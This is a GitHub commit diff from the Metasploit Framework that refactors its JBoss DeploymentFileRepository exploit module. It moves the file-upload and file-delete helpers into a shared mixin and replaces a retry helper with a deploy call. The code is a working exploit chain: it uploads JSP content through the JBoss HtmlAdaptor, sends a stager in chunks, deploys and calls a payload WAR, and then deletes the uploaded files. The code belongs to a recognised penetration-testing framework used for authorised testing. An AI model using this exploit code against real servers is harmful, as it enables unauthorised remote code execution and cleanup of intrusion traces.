Skip to content

Commit 33f90de

Browse files
author
us3r777
committed
Refactoring jboss module to work with the Mixin
Moved upload and delete methods of deploymentfilerepository to the mixin. Removed call_uri_mtimes method as the module now uses deploy from the mixin.
1 parent af9f3b8 commit 33f90de

File tree

3 files changed

+69
-103
lines changed

3 files changed

+69
-103
lines changed

lib/msf/http/jboss.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,13 @@ module JBoss
77
require 'msf/http/jboss/base'
88
require 'msf/http/jboss/bean_shell_scripts'
99
require 'msf/http/jboss/bean_shell'
10+
require 'msf/http/jboss/deployment_file_repository'
1011

1112
include Msf::Exploit::Remote::HttpClient
1213
include Msf::HTTP::JBoss::Base
1314
include Msf::HTTP::JBoss::BeanShellScripts
1415
include Msf::HTTP::JBoss::BeanShell
16+
include Msf::HTTP::JBoss::DeploymentFileRepository
1517

1618
def initialize(info = {})
1719
super
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf::HTTP::JBoss::DeploymentFileRepository
4+
5+
# Upload a text file with DeploymentFileRepository.store()
6+
def upload_file(base_name, jsp_name, content)
7+
params = { }
8+
params.compare_by_identity
9+
params['action'] = 'invokeOpByName'
10+
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
11+
params['methodName'] = 'store'
12+
params['argType'] = 'java.lang.String'
13+
params['arg0'] = base_name + '.war'
14+
params['argType'] = 'java.lang.String'
15+
params['arg1'] = jsp_name
16+
params['argType'] = 'java.lang.String'
17+
params['arg2'] = '.jsp'
18+
params['argType'] = 'java.lang.String'
19+
params['arg3'] = content
20+
params['argType'] = 'boolean'
21+
params['arg4'] = 'True'
22+
23+
opts = {
24+
'method' => http_verb,
25+
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
26+
}
27+
28+
if http_verb == 'POST'
29+
opts.merge!('vars_post' => params)
30+
else
31+
opts.merge!('vars_get' => params)
32+
end
33+
34+
send_request_cgi(opts)
35+
end
36+
37+
# Delete a file with DeploymentFileRepository.remove().
38+
def delete_file(folder, name, ext)
39+
params = { }
40+
params.compare_by_identity
41+
params['action'] = 'invokeOpByName'
42+
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
43+
params['methodName'] = 'remove'
44+
params['argType'] = 'java.lang.String'
45+
params['arg0'] = folder
46+
params['argType'] = 'java.lang.String'
47+
params['arg1'] = name
48+
params['argType'] = 'java.lang.String'
49+
params['arg2'] = ext
50+
51+
opts = {
52+
'method' => http_verb,
53+
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
54+
}
55+
56+
if http_verb == 'POST'
57+
opts.merge!('vars_post' => params)
58+
else
59+
opts.merge!('vars_get' => params)
60+
end
61+
send_request_cgi(opts)
62+
end
63+
64+
end

modules/exploits/multi/http/jboss_deploymentfilerepository.rb

Lines changed: 3 additions & 103 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22
# This module requires Metasploit: http//metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
5-
65
require 'msf/core'
76

87
class Metasploit3 < Msf::Exploit::Remote
@@ -205,7 +204,7 @@ def exploit
205204
next_pos = current_pos + 5000 + rand(100)
206205
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
207206
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
208-
res = call_uri_mtimes(head_stager_uri + junk)
207+
res = deploy('uri' => head_stager_uri + junk)
209208
current_pos += next_pos
210209
end
211210
end
@@ -217,12 +216,12 @@ def exploit
217216
if (res.code == 200 || res.code == 500)
218217
print_status("Calling stager to deploy the payload warfile (might take some time)")
219218
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
220-
stager_res = call_uri_mtimes(stager_uri)
219+
stager_res = deploy('uri' => stager_uri)
221220

222221
print_status("Try to call the deployed payload")
223222
# Try to execute the payload by calling the deployed WAR file
224223
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
225-
payload_res = call_uri_mtimes(payload_uri)
224+
payload_res = deploy('uri' => payload_uri)
226225

227226
#
228227
# DELETE
@@ -249,103 +248,4 @@ def exploit
249248
end
250249

251250

252-
# Upload a text file with DeploymentFileRepository.store()
253-
def upload_file(base_name, jsp_name, content)
254-
data = 'action=invokeOpByName'
255-
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
256-
data << '&methodName=store'
257-
data << '&argType=java.lang.String'
258-
data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war'
259-
data << '&argType=java.lang.String'
260-
data << '&arg1=' + jsp_name
261-
data << '&argType=java.lang.String'
262-
data << '&arg2=.jsp'
263-
data << '&argType=java.lang.String'
264-
data << '&arg3=' + Rex::Text.uri_encode(content)
265-
data << '&argType=boolean'
266-
data << '&arg4=True'
267-
268-
if (datastore['VERB'] == "POST")
269-
res = send_request_cgi(
270-
{
271-
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor'),
272-
'method' => datastore['VERB'],
273-
'data' => data
274-
}, 5)
275-
else
276-
res = send_request_cgi(
277-
{
278-
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor') + "?#{data}",
279-
'method' => datastore['VERB'],
280-
}, 30)
281-
end
282-
283-
res
284-
end
285-
286-
287-
# Delete a file with DeploymentFileRepository.remove().
288-
def delete_file(folder, name, ext)
289-
data = 'action=invokeOpByName'
290-
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
291-
data << '&methodName=remove'
292-
data << '&argType=java.lang.String'
293-
data << '&arg0=' + folder
294-
data << '&argType=java.lang.String'
295-
data << '&arg1=' + name
296-
data << '&argType=java.lang.String'
297-
data << '&arg2=' + ext
298-
299-
if (datastore['VERB'] == "POST")
300-
res = send_request_cgi(
301-
{
302-
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor'),
303-
'method' => datastore['VERB'],
304-
'data' => data
305-
}, 5)
306-
else
307-
res = send_request_cgi(
308-
{
309-
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor;index.jsp') + "?#{data}",
310-
'method' => datastore['VERB'],
311-
}, 30)
312-
end
313-
res
314-
end
315-
316-
# Call the URL multiple times until we have hit
317-
def call_uri_mtimes(uri, num_attempts = 5)
318-
verb = datastore['VERB']
319-
verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
320-
321-
# JBoss might need some time for the deployment. Try 5 times at most and
322-
# wait 5 seconds inbetween tries
323-
num_attempts.times do |attempt|
324-
res = send_request_cgi({
325-
'uri' => uri,
326-
'method' => verb
327-
}, 30)
328-
329-
stripped_uri = uri[0,70] + "..."
330-
msg = nil
331-
if (!res)
332-
msg = "Execution failed on #{stripped_uri} [No Response]"
333-
elsif (res.code < 200 or res.code >= 300)
334-
msg = "http request failed to #{stripped_uri} [#{res.code}]"
335-
elsif (res.code == 200)
336-
print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE']
337-
return res
338-
end
339-
340-
if (attempt < num_attempts - 1)
341-
msg << ", retrying in 5 seconds..."
342-
print_status(msg) if datastore['VERBOSE']
343-
select(nil, nil, nil, 5)
344-
else
345-
print_error(msg)
346-
return res
347-
end
348-
end
349-
end
350-
351251
end

0 commit comments

Comments
 (0)